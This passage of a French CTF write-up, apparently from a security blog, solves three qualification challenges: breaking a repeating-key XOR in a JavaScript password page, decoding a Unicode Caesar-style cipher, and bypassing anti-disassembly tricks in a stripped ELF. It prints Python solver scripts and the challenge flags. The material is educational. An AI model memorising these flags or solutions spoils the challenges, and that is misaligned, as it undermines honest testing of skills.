<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png" border="0" data-original-height="237" data-original-width="587" /></a></div>
<p>Le code complet de la fonction JavaScript est le suivant :<br />
<span class="w-code"><span class="sc1">&lt;script</span> <span class="sc3">language</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc40"><br />
</span><span class="sc47">function</span> <span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">s</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">BlaBla</span><span class="sc50">=</span><span class="sc48">«  »</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">s.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">BlaBla</span> <span class="sc50">+=</span> <span class="sc46">String.fromCharCode</span><span class="sc50">((</span><span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">i</span><span class="sc50">++))^(</span><span class="sc46">s.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">)));</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">i</span><span class="sc50">&gt;=</span><span class="sc46">pass.length</span><span class="sc50">)</span><span class="sc41"><br />
</span><span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">return</span><span class="sc50">(</span><span class="sc46">BlaBla</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">function</span> <span class="sc46">f</span><span class="sc50">(</span><span class="sc46">form</span><span class="sc50">){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">pass</span><span class="sc50">=</span><span class="sc46">document.form.pass.value</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">hash</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">pass.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">n</span><span class="sc50">=</span> <span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">hash</span> <span class="sc50">+=</span> <span class="sc50">((</span><span class="sc46">n</span><span class="sc50">&#8211;</span><span class="sc46">j</span><span class="sc50">+</span><span class="sc45">33</span><span class="sc50">)^</span><span class="sc45">31025</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">hash</span> <span class="sc50">==</span> <span class="sc45">529387</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">Secret</span> <span class="sc50">=</span><span class="sc48">«  »</span><span class="sc50">+</span><span class="sc48">« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b »</span><span class="sc50">+</span><span class="sc48">«  »</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">s</span><span class="sc50">=</span><span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">Secret</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">document.write</span> <span class="sc50">(</span><span class="sc46">s</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span> <span class="sc47">else</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">alert</span> <span class="sc50">(</span><span class="sc49">&lsquo;Wrong password!&rsquo;</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc1">&lt;/script&gt;</span></span><br />
Les première analyses du code indiquent que :</p>
<ul>
<li>La fonction <b>Kod</b> consiste à réaliser une opération <b>XOR</b> entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer</li>
<li>La fonction <b>f</b> est appelée sur validation du formulaire et :
<ul>
<li>réalise une vérification sur la clé entrée dans le formulaire (variable <b>hash</b>)</li>
<li>déchiffre la variable <b>Secret</b> à l&rsquo;aide de la clé pour l&rsquo;afficher sur la page</li>
</ul>
</li>
</ul>
<div>Il s&rsquo;agit donc ici d&rsquo;un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable <b>hash</b> pour évaluer cette longueur.</div>
<div>Cette variable est la somme des <span class="w-inline-code">(n-j+33)^31025</span>, <b>n</b> étant le code ASCII du caractère et <b>j </b>sa position. Ces éléments sont globalement bornés autour dans l&rsquo;intervalle 30000-32000. Il est donc facile d&rsquo;approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077</div>
</div>
</div>
<p>, soit 17.</p>
<div style="text-align: justify;">Connaissant cette longueur, la variable Secret peut être présentée sous la forme suivante, qui aligne les octets du texte chiffré qui seront déchiffrés à l&rsquo;aide des mêmes octets de la clé :</div>
<p><span class="w-code"><span class="sc3">« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x1b\x1d\x0a\x1f\x5b »</span></span></p>
<div style="text-align: justify;">Pour traduire peu à peu le texte, il est possible d&rsquo;utiliser la technique du mot probable, qui fonctionne comme suit : on suppose qu&rsquo;un certain mot est présent (non coupé) dans l&rsquo;un des blocs. Il est alors possible d&rsquo;en déduire une portion de clé probable, et de déchiffrer les autres portions de blocs avec cette clé.</div>
<div style="text-align: justify;">Le script suivant permet de faciliter cette recherche, et d&rsquo;aboutir peu à peu à la clé finale, <span class="w-inline-code">sigsegv{jsIsE4zy}</span> :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">xor</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">return</span> <span class="sc4"> »</span><span class="sc10">.</span><span class="sc11">join</span><span class="sc10">([</span><span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">c</span><span class="sc10">)^</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">d</span><span class="sc10">))</span> <span class="sc5">for</span> <span class="sc11">c</span><span class="sc10">,</span> <span class="sc11">d</span> <span class="sc5">in</span> <span class="sc11">zip</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">)])</span></span><br />
<span class="sc11">blocks</span> <span class="sc10">=</span> <span class="sc10">[</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc1">#&rsquo;\x1b\x1d\x0a\x1f\x5b&rsquo;</span><span class="sc0"><br />
</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc11">pw</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] Ref is %s&rsquo;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">blocks</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">])-</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">pw</span><span class="sc10">)+</span><span class="sc2">1</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] At pos %d&rsquo;</span> <span class="sc10">%</span> <span class="sc11">i</span><span class="sc0"><br />
</span><span class="sc11">pk</span> <span class="sc10">=</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pw</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] PK = %s&rsquo;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b2</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">b</span><span class="sc10">==</span><span class="sc11">b2</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">continue</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b2</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4"> »</span><span class="sc0"><br />
</span></p>
<h2>Cryptographie : Un nouveau dialecte (ShrewkRoot)</h2>
<div><b>Description :</b> Nous avons trouvé un nouveau dialecte, analysez-le pour retrouver ce qu&rsquo;il signifie:<br />
<span class="w-inline-code">ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ</span>Avant de se lancer à l&#8217;emporte pièce, il est important de noter qu&rsquo;il s&rsquo;agit ici de caractères multi-bytes. Une méthode simple pour traduire ces derniers consiste à utiliser hexdump :</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/js % <span class="w-cli">echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C</span><br />
00000000 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b9 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b5 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 86 <span class="w-grepped">c8</span> 8b |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000010 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> 97 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000020 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> a0 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> 99 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000030 <span class="w-grepped">c7</span> 96 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 <span class="w-grepped">c7</span> 99 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 95 <span class="w-grepped">c8</span> 8d |&#8230;&#8230;&#8230;&#8230;..|<br />
0000003e</span><br />
On constate alors rapidement que les caractères s&rsquo;écrivent sur deux octets, et qu&rsquo;ils se présentent tous sous les forme <b>c7 xx</b> ou <b>c8 yy</b>. Par ailleurs, en supposant que le texte décodé commence par <b>sigsegv{</b>, on remarque que :</p>
<ul>
<li>La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s&rsquo;agit donc probablement d&rsquo;une substitution monoalphabétique</li>
<li>La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée <b>c7 b5</b> et <b>c7 b7</b> : le décalage entre deux lettres est constant, il s&rsquo;agit probablement d&rsquo;une variante du chiffre de César</li>
</ul>
<div>Par conséquent, connaissant le clair et le chiffré pour une lettre de chaque encodage (<b>c7 xx</b> et <b>c8 yy</b>), il est facile de coder un programme qui réalisera la traduction pour nous :</div>
<div><span class="w-code"><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc1"># No multibyte string in Python&#8230;</span><span class="sc0"><br />
</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc1"># Compute shift from « sigsegv{&#8230;.} »</span><span class="sc0"><br />
</span><span class="sc11">dec1</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&lsquo;s&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">dec2</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&lsquo;i&rsquo;</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="w-code"><span class="sc1"># Apply unshift</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">=</span> <span class="sc4"> »</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc2">0</span><span class="sc10">,</span> <span class="sc11">len</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">),</span> <span class="sc2">2</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">])==</span><span class="sc2">0xc8</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec1</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">else</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec2</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="sc5">print</span> <span class="sc11">sol</span></span><br />
L&rsquo;exécution fournit le flag suivant : <span class="w-inline-code">sigsegv{LASTEGACESTPASSIFACILE}</span>.</p>
<h2>Reverse : antistrings (x0rz)</h2>
</div>
<div>
<p>Description : Faites-moi confiance, XOR n&rsquo;est pas la solution.</p>
<div style="text-align: justify;">Le challenge se présente sous la forme d&rsquo;un binaire ELF 64-bit <i>strippé</i>. Ce writeup utilisera <b>Cutter</b>, l&rsquo;interface graphique de <b>Radare2</b>. Les première étapes sont assez simples, puisque la fonction <b>main </b>ne possède qu&rsquo;un appel à une autre fonction :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png"><img decoding="async" src="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png" border="0" data-original-height="166" data-original-width="445" /></a></div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: justify;">Si l&rsquo;on tente d&rsquo;afficher le graphe de la fonction située à <b>0x004009e0</b>, l&rsquo;erreur suivante se produit :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png" border="0" data-original-height="551" data-original-width="524" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div style="text-align: justify;">Il s&rsquo;agit là d&rsquo;une technique anti-reverse, que l&rsquo;on peut observer plus en détails dans l&rsquo;affichage linéaire de Cutter :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png"><img decoding="async" src="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png" border="0" data-original-height="182" data-original-width="446" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ci-dessous le détail des instructions :</div>
<div style="text-align: justify;"></div>
<ul>
<li><i>push rax</i> : sauvegarde la valeur courante de RAX sur la pile</li>
<li><i>xor eax, eax</i> : remet la valeur de EAX à 0</li>
<li><i>test eax, eax</i> : teste si la valeur de EAX est nulle et fixe le flag Z à 1</li>
<li><i>pop rax</i> : récupère la valeur sauvegardée de RAX depuis la pile</li>
<li><i>jne 0x4009ee</i> : saute à l&rsquo;adresse indiquée si le flag Z vaut 0 (non pris)</li>
<li><i>je 0x4009ef</i> : saute à l&rsquo;adresse indiquée si le flag Z vaut 1 (pris)</li>
</ul>
<div>Seulement, les instructions à l&rsquo;adresse <b>0x4009ef </b>ne sont pas désassemblées puisqu&rsquo;une instruction <b>jmp </b>commence à l&rsquo;octet précédent. Le saut à l&rsquo;octet précédent n&rsquo;étant jamais emprunté, il est possible d&rsquo;ignorer cette instruction et de demander le désassemblage à partir de <b>0x4009ef</b>.</div>
<div>Pour cela, un clic-droit à l&rsquo;adresse <b>0x4009ee </b>fait apparaître le menu suivant :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png"><img decoding="async" src="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png" border="0" data-original-height="166" data-original-width="481" /></a></div>
<div></div>
<div>Il est alors possible d&rsquo;observer le code qui devrait être normalement exécuté :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png"><img decoding="async" src="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png" border="0" data-original-height="78" data-original-width="353" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d&rsquo;identifier la fonction qui gère le flag, <b>sub.BB_7c2</b>. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png"><img decoding="async" src="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png" border="0" data-original-height="384" data-original-width="404" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div>Le flag récupéré est alors <span class="w-inline-code">sigsegv{W3llPl4y3d}</span>.</div>
</div>
<p>&nbsp;</p>
<div style="text-align: right;"><b><span style="color: #351c75;">Jean MARSAULT</span></b></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
